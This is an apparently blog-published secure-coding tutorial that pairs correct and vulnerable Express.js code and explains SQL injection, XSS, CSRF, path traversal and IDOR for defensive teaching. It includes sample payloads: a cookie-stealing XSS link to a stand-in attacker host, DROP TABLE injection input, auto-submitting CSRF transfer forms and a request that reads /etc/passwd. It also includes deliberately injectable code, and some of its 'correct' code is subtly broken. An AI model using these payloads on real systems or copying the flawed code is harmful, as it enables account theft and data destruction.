Injection errors when users pass in malicious data.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> mysql = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'mysql'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Connect to the database<\/span>\r\n<span class=\"hljs-keyword\">const<\/span> db = mysql.<span class=\"hljs-title function_\">createConnection<\/span>({ \r\n<span class=\"hljs-attr\">  host<\/span>: <span class=\"hljs-string\">'localhost'<\/span>, \r\n<span class=\"hljs-attr\">  user<\/span>: <span class=\"hljs-string\">'username'<\/span>, \r\n<span class=\"hljs-attr\">  password<\/span>: <span class=\"hljs-string\">'password'<\/span>, \r\n<span class=\"hljs-attr\">  database<\/span>: <span class=\"hljs-string\">'mydb'<\/span> \r\n}); \r\n \r\ndb.<span class=\"hljs-title function_\">connect<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">err<\/span> =&gt;<\/span> {\r\n<span class=\"hljs-keyword\">  if<\/span> (err) {\r\n    <span class=\"hljs-variable language_\">console<\/span>.<span class=\"hljs-title function_\">error<\/span>(<span class=\"hljs-string\">'Database connection error:'<\/span>, err); <span class=\"hljs-keyword\">return<\/span>; \r\n  } \r\n<span class=\"hljs-variable language_\">  console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">'Connected to the database.'<\/span>); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\n<span class=\"hljs-comment\">\/\/ Create a new book<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/book'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> { title, author } = req.<span class=\"hljs-property\">body<\/span>; \r\n<span class=\"hljs-keyword\">  const<\/span> query = <span class=\"hljs-string\">'INSERT INTO books (title, author) VALUES (?, ?)'<\/span>; \r\n  db.<span class=\"hljs-title function_\">query<\/span>(query, [title, author], <span class=\"hljs-function\">(<span class=\"hljs-params\">err, result<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">    if<\/span> (err) { \r\n<span class=\"hljs-keyword\">      return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'An error occurred.'<\/span> }); \r\n    } \r\n<span class=\"hljs-keyword\">    return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">201<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Created successfully.'<\/span> }); \r\n  }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ Get the list<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/book'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const<\/span> query = <span class=\"hljs-string\">'SELECT * FROM books where title = ?'<\/span>; \r\n  db.<span class=\"hljs-title function_\">query<\/span>(query, [title],<span class=\"hljs-function\">(<span class=\"hljs-params\">err, result<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">    if<\/span> (err) { \r\n<span class=\"hljs-keyword\">      return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'An error occurred.'<\/span> }); \r\n    } \r\n<span class=\"hljs-keyword\">    return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>(result); \r\n  }); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, we use the mysql library to connect and manipulate the MySQL database. To ensure security in SQL queries, we use parameters for SQL query statements. This helps prevent SQL injection attacks by preventing users from passing malicious data into SQL queries.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> mysql = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'mysql'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\n<span class=\"hljs-comment\">\/\/ Connect to the database<\/span> \r\n<span class=\"hljs-keyword\">const<\/span> db = mysql.<span class=\"hljs-title function_\">createConnection<\/span>({ \r\n<span class=\"hljs-attr\"> host<\/span>: <span class=\"hljs-string\">'localhost'<\/span>, \r\n<span class=\"hljs-attr\"> user<\/span>: <span class=\"hljs-string\">'username'<\/span>, \r\n<span class=\"hljs-attr\"> password<\/span>: <span class=\"hljs-string\">'password'<\/span>, \r\n<span class=\"hljs-attr\"> database<\/span>: <span class=\"hljs-string\">'mydb'<\/span> \r\n}); \r\n \r\ndb.<span class=\"hljs-title function_\">connect<\/span>(<span class=\"hljs-function\"><span class=\"hljs-params\">err<\/span> =&gt;<\/span> {\r\n<span class=\"hljs-keyword\"> if<\/span> (err) {\r\n<span class=\"hljs-variable language_\">   console<\/span>.<span class=\"hljs-title function_\">error<\/span>(<span class=\"hljs-string\">'Database connection error:'<\/span>, err); <span class=\"hljs-keyword\">return<\/span>; \r\n } \r\n<span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">'Connected to the database.'<\/span>); \r\n}); \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\n \r\n<span class=\"hljs-comment\">\/\/ Create a new book<\/span> \r\napp.<span class=\"hljs-title function_\">post<\/span>(<span class=\"hljs-string\">'\/book'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> { title, author } = req.<span class=\"hljs-property\">body<\/span>; \r\n<span class=\"hljs-keyword\"> const<\/span> query = <span class=\"hljs-string\">'INSERT INTO books (title, author) VALUES (title, author)'<\/span>; \r\n db.<span class=\"hljs-title function_\">query<\/span>(query, <span class=\"hljs-function\">(<span class=\"hljs-params\">err, result<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">   if<\/span> (err) { \r\n<span class=\"hljs-keyword\">     return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'An error occurred.'<\/span> }); \r\n   } \r\n<span class=\"hljs-keyword\">   return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">201<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">message<\/span>: <span class=\"hljs-string\">'Created successfully.'<\/span> }); \r\n }); \r\n}); \r\n \r\n<span class=\"hljs-comment\">\/\/ Get the list<\/span>\r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/book'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\"> const<\/span> query = <span class=\"hljs-string\">'SELECT * FROM books where title =' + title<\/span>; \r\n db.<span class=\"hljs-title function_\">query<\/span>(query, <span class=\"hljs-function\">(<span class=\"hljs-params\">err, result<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">   if<\/span> (err) { \r\n<span class=\"hljs-keyword\">     return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'An error occurred.'<\/span> }); \r\n   } \r\n<span class=\"hljs-keyword\">   return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">200<\/span>).<span class=\"hljs-title function_\">json<\/span>(result); \r\n }); \r\n}); \r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, instead of using the parameter passed to the SQL query, we are concatenating the string in the SQL query. This will suffer from SQL injection attacks.<\/p>\n<h3>File Management<\/h3>\n<p>It is recommended to make file directory permissions:\u00a0read-only\u00a0to avoid unauthorized modifications from attackers<\/p>\n<p>Do not return the absolute path (Example: \/var\/www\/html\/uploads\/test.jpg) because the attacker can know the absolute path of the website from which to attack other vulnerabilities. Returns only the file name or directory path containing the file (\/uploads\/test.jpg)<\/p>\n<p>Do not store files with the server running the web service. Do file storage on a separate server or use a 3rd party file storage service like Amazon S3.<\/p>\n<p>Limit the types of files (header files) that are allowed to be uploaded to the server. For the upload function, it is necessary to whitelist the uploaded file headers that match the functional requirements (For example the avatar upload function only allows Content-types: image\/jpeg and image\/png).<\/p>\n<p>Authentication is required before the user can perform the upload. User authentication helps to limit the unauthorized upload of malicious files as well as serves the process of tracking users when an attack occurs.<\/p>\n<p>Limit the file types (extension files) allowed to upload to the server. For the upload function, it is necessary to whitelist the uploaded files that match the functional requirements (For example the avatar upload function only allows: png and jpg).<\/p>\n<p>Use a virus scanner to check user-uploaded files. This helps to remove malicious files and viruses that users upload.<\/p>\n<p>Below is the Nodejs code using the Express.js framework.<\/p>\n<p><strong>+ Correct program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> fs = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'fs'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> path = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'path'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>; \r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">json<\/span>()); \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">static<\/span>(<span class=\"hljs-string\">'public'<\/span>)); \r\n \r\n<span class=\"hljs-comment\">\/\/ Download file<\/span> \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/download\/:filename'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n  <span class=\"hljs-keyword\">const requestedFile = req.params.filename;<\/span> \r\n  if (!\/^[a-zA-Z0-9._-]+$\/.test(<span class=\"hljs-keyword\">requestedFile <\/span>)) { \r\n    return res.status(400).send('filename is not valid'); \r\n  }\r\n  <span class=\"hljs-keyword\">\r\n  const filePath = path.join(__dirname, 'uploads', requestedFile);\r\n  if<\/span> (!fs.<span class=\"hljs-title function_\">existsSync<\/span>(filePath)) { \r\n<span class=\"hljs-keyword\">    return<\/span> res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">404<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'File does not exist.'<\/span> }); \r\n  } \r\n \r\n<span class=\"hljs-keyword\">  const<\/span> fileStream = fs.<span class=\"hljs-title function_\">createReadStream<\/span>(filePath); \r\n  res.<span class=\"hljs-title function_\">setHeader<\/span>(<span class=\"hljs-string\">'Content-Disposition'<\/span>, <span class=\"hljs-string\">`attachment; filename=<span class=\"hljs-subst\">${requestedFile}<\/span>`<\/span>); \r\n  fileStream.<span class=\"hljs-title function_\">pipe<\/span>(res); \r\n});\r\n \r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example, when downloading the file, we use the res.setHeader() method to set the &#8220;Content-Disposition&#8221; header in the HTTP response. This specifies that the file will be downloaded as an attachment with the specified filename. When using such an attachment, the user will receive the file without knowing its absolute path on the server. This helps protect information about system architecture and prevents attacks based on knowing the absolute file path.<\/p>\n<p><strong>+ Wrong program<\/strong><\/p>\n<pre><span class=\"hljs-keyword\">const<\/span> express = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'express'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> fs = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'fs'<\/span>);\r\n<span class=\"hljs-keyword\">const<\/span> path = <span class=\"hljs-built_in\">require<\/span>(<span class=\"hljs-string\">'path'<\/span>); \r\n<span class=\"hljs-keyword\">const<\/span> app = <span class=\"hljs-title function_\">express<\/span>(); \r\n<span class=\"hljs-keyword\">const<\/span> port = <span class=\"hljs-number\">3000<\/span>;\r\n \r\napp.<span class=\"hljs-title function_\">use<\/span>(express.<span class=\"hljs-title function_\">static<\/span>(<span class=\"hljs-string\">'public'<\/span>));\r\n \r\n<span class=\"hljs-comment\">\/\/ Download file<\/span> \r\napp.<span class=\"hljs-title function_\">get<\/span>(<span class=\"hljs-string\">'\/download\/:filename'<\/span>, <span class=\"hljs-function\">(<span class=\"hljs-params\">req, res<\/span>) =&gt;<\/span> { \r\n<span class=\"hljs-keyword\">  const requestedFile = req.<span class=\"hljs-property\">params<\/span>.<span class=\"hljs-property\">filename<\/span>; \r\n  const filePath = path.<span class=\"hljs-title function_\">join<\/span>(__dirname, <span class=\"hljs-string\">'uploads'<\/span>, requestedFile); \r\n  if (!fs.<span class=\"hljs-title function_\">existsSync<\/span>(filePath)) { \r\n    return res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">404<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: <span class=\"hljs-string\">'File does not exist.'<\/span> }); \r\n  } \r\n \r\n  res.<span class=\"hljs-title function_\">download<\/span>(filePath, requestedFile, <span class=\"hljs-function\"><span class=\"hljs-params\">err<\/span> =&gt;<\/span> { \r\n    if (err) { \r\n<span class=\"hljs-variable language_\">      console<\/span>.<span class=\"hljs-title function_\">error<\/span>(<span class=\"hljs-string\">'Error downloading file:'<\/span>, err); \r\n      return res.<span class=\"hljs-title function_\">status<\/span>(<span class=\"hljs-number\">500<\/span>).<span class=\"hljs-title function_\">json<\/span>({ <span class=\"hljs-attr\">error<\/span>: 'An error occurred.<span class=\"hljs-string\">'<\/span> }); \r\n    } \r\n  });<\/span>\r\n});\r\n\r\napp.<span class=\"hljs-title function_\">listen<\/span>(port, <span class=\"hljs-function\">() =&gt;<\/span> { <span class=\"hljs-variable language_\"> console<\/span>.<span class=\"hljs-title function_\">log<\/span>(<span class=\"hljs-string\">`Server running <span class=\"hljs-subst\">${port}<\/span>`<\/span>); });<\/pre>\n<p>In the above example will return the absolute path of the file.<\/p>\n<h2 align=\"left\">Common attack errors and prevention methods<\/h2>\n<h3>SQL Injection<\/h3>\n<p>SQL Injection is a technique that takes advantage of the query vulnerabilities of applications. It is <span style=\"font-weight: 400;\">executed <\/span>by <span style=\"font-weight: 400;\">injecting <\/span>a SQL snippet to falsify the original query, <span style=\"font-weight: 400;\">thereby exploiting<\/span> data from the database, <span style=\"font-weight: 400;\">creating <\/span>errors, or damaging the system&#8217;s data.<\/p>\n<p>For example, we have a function like this:<\/p>\n<pre>const getUserByUserName = (userName: string) =&gt; {\r\n\r\n const query = 'SELECT * FROM Users WHERE userName = \u2019 + userName;\r\n\r\n return query.excute();\r\n\r\n}<\/pre>\n<p>When the user transmission userName = &#8216;abc&#8217; or &#8216;1&#8217;=&#8217;1&#8242;, the SQL statement will look like this:<\/p>\n<pre>SELECT * FROM Users WHERE userName = 'abc' or '1'='1';<\/pre>\n<p>With this SQL statement is always true and returns all information in the Users table.<\/p>\n<p>In another case, the user transmission userName = &#8216;abc&#8217;; DROP TABLE Users; the SQL statement would look like this:<\/p>\n<pre>SELECT* FROM Users WHERE userName = 'abc';\r\nDROP TABLE Users;<\/pre>\n<p>With this command, the Users table will be deleted, and very dangerous.<\/p>\n<p><strong>Prevention<\/strong><\/p>\n<ol>\n<li>Check user input: Regular Expression can be used to remove strange characters or characters other than numbers and letters.<\/li>\n<li>Do not <span style=\"font-weight: 400;\">concatenate <\/span>strings to generate SQL: Use parameters instead of string <span style=\"font-weight: 400;\">concatenation<\/span>. If the input data is not legal, SQL Engine will automatically report an error, we do not need to use code to check.<\/li>\n<li>Limit writing pure SQL, should use the ORM (Object-Relational Mapping) framework library, this framework will generate SQL statements by itself, so it will be safer.<\/li>\n<\/ol>\n<h3>Cross-Site Scripting (XSS)<\/h3>\n<p>Cross-Site Scripting (XSS) is a common form of malicious code attack. Hackers will take advantage of vulnerabilities in web security to insert scripts to execute them on the client side. Typically, XSS attacks are used to bypass access and impersonate users. The main purpose of this attack is to steal user&#8217;s identifying data such as cookies, session tokens, and other information.<\/p>\n<p>There are 3 main types of XSS attacks as follows:<\/p>\n<ol>\n<li>Reflected XSS\n<ul>\n<li>Is an attack that uses malicious script code from an HTTP request. <span style=\"font-weight: 400;\">As a result<\/span>, hackers steal users&#8217; data and take over their access and activities on the website by sharing URLs containing malicious code.<\/li>\n<li>For example\n<ul>\n<li>When accessing the website, the user does not know or accidentally clicks on an image or ad with the following malicious link:\n<pre>http:\/\/user.com\/name=var+i=new+Image;+i.src=\u201dhttp:\/\/abc-hacker.com\/\u201d%2Bdocument.cookie;<\/pre>\n<\/li>\n<li>At this point, the hacker just needs to check the request sent to his server to receive the user&#8217;s cookie and use it to hijack the user&#8217;s login session.<\/li>\n<li>The feature of this type of XSS is that the hacker must send a malicious link to the user and trick the user into accessing this link. The malicious code will be executed as soon as the user accesses the link.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li>Stored XSS\n<ul>\n<li>A form of attack where hackers insert malicious code into the database through input data such as input, textarea, form, <span style=\"font-weight: 400;\">etc.,<\/span> without being carefully checked. When users access and perform operations related to saved data, malicious code will immediately work on the browser.<\/li>\n<\/ul>\n<\/li>\n<li>DOM-based XSS\n<ul>\n<li>Where the vulnerability exists in the client-side code, not the server-side code. This form is used to exploit XSS based on changing the HTML of the document, in other words changing the DOM structure.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p><strong>Prevention<\/strong><\/p>\n<ol>\n<li>Data validation (define input): Make sure the input data provided by the user is correct.<\/li>\n<li>Filtering (filtering user input): This method helps to find dangerous keywords in the user input to promptly replace or remove them.<\/li>\n<li>Escape:\u00a0This is a relatively effective XSS prevention by changing the characters with special code that can use the appropriate Escape library.<\/li>\n<\/ol>\n<h3><b>Cross-Site Request Forgery (CSRF)<\/b><\/h3>\n<p>Cross-Site Request Forgery (CSRF) is an attack that forces users to perform unexpected actions on a web application for which they are currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker can trick web application users into performing actions chosen by the attacker.<\/p>\n<p>For example, user1 has logged into the bank and wants to transfer money to user2 which is 1000$, user3 is the attacker who wants user1 to transfer money to him, it will be as follows:<\/p>\n<p>If the application is designed to use a GET request to pass parameters and perform transfer actions, a request like:<\/p>\n<pre> http:\/\/bank.com\/transfer?account=user2&amp;amount=1000\r\n<\/pre>\n<p>Now user3 decides to exploit this web application vulnerability by using user1 as the victim. First, user3 constructs the following mining URL that will transfer $200,000 from user1&#8217;s account to his own. user3 takes the original command URL and replaces the payee name with his own, and significantly increases the amount of the transfer as follows:<\/p>\n<pre>http:\/\/bank.com\/transfer?account=user3&amp;amount=200000<\/pre>\n<p>User3 then sends an unsolicited email with HTML content or places a URL on pages that the victim can access while they are also doing online banking. The exploit URL can be disguised as a regular link, encouraging the victim to click on it:<\/p>\n<pre>&lt;a href=\"http:\/\/bank.com\/transfer.do?acct=user3&amp;amount=200000\"&gt;Click to see the photo&lt;\/a&gt;\r\nOr like the picture:\r\n&lt;img src=\"http:\/\/bank.com\/transfer?account=user3&amp;amount=200000\" width=\"0\" height=\"0\" border=\"0\"&gt;<\/pre>\n<p>If this image tag is included in the email, the user1 will not see anything. However, the browser will still send a request to bank.com without any visual indication that the transfer has taken place.<\/p>\n<p><strong>Another case<\/strong><\/p>\n<p>Let&#8217;s say the bank is currently using POST and the vulnerable request looks like this:<\/p>\n<pre>POST http:\/\/bank.com\/transfer\r\naccount=user2&amp;amount=1000<\/pre>\n<p>Such a request cannot be submitted using the standard &lt;a&gt; or &lt;img&gt; tags, but can be submitted using the &lt;form&gt; tag as follows:<\/p>\n<pre>&lt;form action=\"http:\/\/bank.com\/transfer\" method=\"POST\"&gt; \r\n  &lt;input type=\"hidden\" name=\"account\" value=\"user3\"\/&gt;\r\n  &lt;input type=\"hidden\" name=\"amount\" value=\"200000\"\/&gt;\r\n  &lt;input type=\"submit\" value=\"submit\"\/&gt;\r\n&lt;\/form&gt;<\/pre>\n<p>This form will require the user to click a submit button, but this can also be done automatically using JavaScript:<\/p>\n<pre>&lt;body onload=\"document.forms[0].submit()\"&gt;\r\n  &lt;form action=\"http:\/\/bank.com\/transfer\" method=\"POST\"&gt; \r\n    &lt;input type=\"hidden\" name=\"account\" value=\"user3\"\/&gt;\r\n    &lt;input type=\"hidden\" name=\"amount\" value=\"200000\"\/&gt;\r\n    &lt;input type=\"submit\" value=\"submit\"\/&gt;\r\n  &lt;\/form&gt;\r\n&lt;\/body&gt;<\/pre>\n<p><strong>Prevention<\/strong><\/p>\n<ul>\n<li><strong>User <b>behaviors<\/b><\/strong>\n<ul>\n<li>Should log out of important websites such as bank accounts, online payments, social networks, Gmail, etc. when the transaction is done.<\/li>\n<li>Do not click on unknown links that you receive via email, Facebook, etc., or open strange emails.<\/li>\n<li>Do not save password information in your browser (do not choose the methods &#8220;login next time&#8221;, &#8220;save password&#8221;).<\/li>\n<li>In the process of making transactions or visiting important websites, do not visit other websites, which may contain exploit codes of attackers.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Server-side<\/strong>\n<ul>\n<li>Use GET and POST properly. Use GET if the operation is a data query. Use POST if the operation makes a system change. If your application is RESTful, you can use additional HTTP verbs, like PATCH, PUT or DELETE.<\/li>\n<li>Captcha is used to identify the object that is working with the system is human or not. Important operations such as &#8220;login&#8221;, &#8220;transfer&#8221;, &#8220;payment&#8221; are often used captcha.<\/li>\n<li>Use separate cookies for the admin page<\/li>\n<li>IP check: Some important systems only allow access from pre-established IPs<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h3><span style=\"color: #000000;\"><b>Path Traversal<\/b><\/span><\/h3>\n<p>Path traversal is a web vulnerability that allows an attacker to access files and folders stored outside the web root directory, reading unwanted files on the server. It leads to the exposure of sensitive application information such as login information, some operating system\u00a0files, or folders. In some cases it is also possible to write to files on the server, allowing an attacker to change data or even take control of the server.<\/p>\n<p>For example<\/p>\n<p>An application that loads images looks like this:<\/p>\n<pre>&lt;img src=\"\/loadImage?filename=image-logo.png\"&gt;<\/pre>\n<p>When we send a request with a param filename=image-logo.png\u00a0 it will return the content of the specified file with the image file at \/var\/www\/images\/image-logo.png<\/p>\n<p>Since the application does not protect against the path traversal attack, the attacker can make an arbitrary request to be able to read the files in the system.<\/p>\n<p>For example<\/p>\n<pre>https:\/\/hostname\/loadImage?filename=..\/..\/..\/etc\/passwd<\/pre>\n<p>The application will then read the file with the path \/var\/www\/images\/..\/..\/..\/etc\/passwd with each \u00a0..\/\u00a0 returning to the parent directory of the current directory. So with \u00a0..\/..\/..\/, the directory \u00a0\/var\/www\/images\/\u00a0 has returned to the original directory and file \/etc\/passwd is the file that is read.<\/p>\n<p>On Linux operating systems, \/etc\/passwd\/\u00a0 is a file containing information about users.<\/p>\n<p>After reading the file \/etc\/passwd\/ it will look like this<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-7819 size-full\" src=\"https:\/\/s3-ap-southeast-1.amazonaws.com\/homepage-media\/wp-content\/uploads\/2023\/07\/21090548\/secure-coding-3.png\" alt=\"\" width=\"821\" height=\"587\" srcset=\"https:\/\/s3-ap-southeast-1.amazonaws.com\/homepage-media\/wp-content\/uploads\/2023\/07\/21090548\/secure-coding-3.png 821w, https:\/\/s3-ap-southeast-1.amazonaws.com\/homepage-media\/wp-content\/uploads\/2023\/07\/21090548\/secure-coding-3-300x214.png 300w, https:\/\/s3-ap-southeast-1.amazonaws.com\/homepage-media\/wp-content\/uploads\/2023\/07\/21090548\/secure-coding-3-768x549.png 768w\" sizes=\"auto, (max-width: 821px) 100vw, 821px\" \/><\/p>\n<p>In addition to this file \/etc\/passwd\/, an attacker can make an arbitrary request to be able to read other files and directories in the system.<\/p>\n<p><strong>Prevention<\/strong><\/p>\n<ol>\n<li>User input should be validated before processing.<\/li>\n<li>Do not store sensitive configuration files inside the web root directory.<\/li>\n<li>Use a whitelist for allowed values or file names that are numeric characters, letters should not contain special characters.<\/li>\n<li>About the file can use Amazon S3 to store and retrieve it.<\/li>\n<\/ol>\n<h3>Insecure Direct Object References (IDOR)<\/h3>\n<p>Insecure Direct Object References (IDOR) is a vulnerability that occurs when a program allows users to illegally access resources (data, files, directories, databases) through user-supplied data.<\/p>\n<p>For example<\/p>\n<p>In the &#8220;Manage Orders&#8221; section, the URL of an order will look like this: \u00a0http:\/\/shop.com\/user\/order\/1. The server will read ID = 1 from the URL, then find the order with ID = 1 in the database and pour data into HTML. Then change ID = 1 to another number, now the system reads and displays all orders (including orders of other customers).<\/p>\n<p>The vulnerability here is: the program allows illegal access to resources (other people&#8217;s orders) through the data (ID) provided via the URL. The program should have checked if the user has permission to access this data.<\/p>\n<p>In fact, hackers can use many tricks such as changing the URL, changing the param in the API, and using the tool to scan for unsecured resources.<\/p>\n<p><strong>Prevention<\/strong><\/p>\n<ol>\n<li>Set strict user permissions<\/li>\n<li>Always test the application carefully<\/li>\n<li>Protect sensitive data such as source code, config, database key, need to restrict access. The best practice is to only allow internal IPs to access this data.<\/li>\n<\/ol>\n<h2 class=\"western\">Conclude<\/h2>\n<p>The use of secure coding for the application is an indispensable element to ensure safety and security. By applying secure coding principles and methods, you can help prevent security <span style=\"font-weight: 400;\">vulnerabilities <\/span>from appearing at an early stage and reduce future risks. Build a trusted and secure app for users.<\/p>\n<h2 class=\"western\">References<\/h2>\n<p><a href=\"https:\/\/owasp.org\/www-community\/attacks\/\">https:\/\/owasp.org\/www-community\/attacks\/<\/a><\/p>\n<p><a href=\"https:\/\/owasp.org\/www-pdf-archive\/OWASP_SCP_Quick_Reference_Guide_v1.pdf\">https:\/\/owasp.org\/www-pdf-archive\/OWASP_SCP_Quick_Reference_Guide_v1.pdf<\/a><\/p>\n<p><a href=\"https:\/\/cwe.mitre.org\/data\/\">https:\/\/cwe.mitre.org\/data\/<\/a><\/p>\n<p><a href=\"https:\/\/www.websec.ca\/kb\/sql_injection\">https:\/\/www.websec.ca\/kb\/sql_injection<\/a><\/p>\n<p><a href=\"https:\/\/codedx.com\/insecure-direct-object-references\/\">https:\/\/codedx.com\/insecure-direct-object-references\/<\/a><\/p>\n<p><a href=\"https:\/\/viblo.asia\/s\/secure-coding-for-developers-dbZN76EalYM\">https:\/\/viblo.asia\/s\/secure-coding-for-developers-dbZN76EalYM<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>Introduction to secure coding Secure coding is the process of writing highly secure source code, minimizing vulnerabilities to prevent attacks from intruders or hackers, focusing on writing code, and developing applications safely. Insecure code is the main source of many security problems in software. Errors in the code can lead to serious problems such as security vulnerabilities, intrusions, unauthorized access to data, and even harm 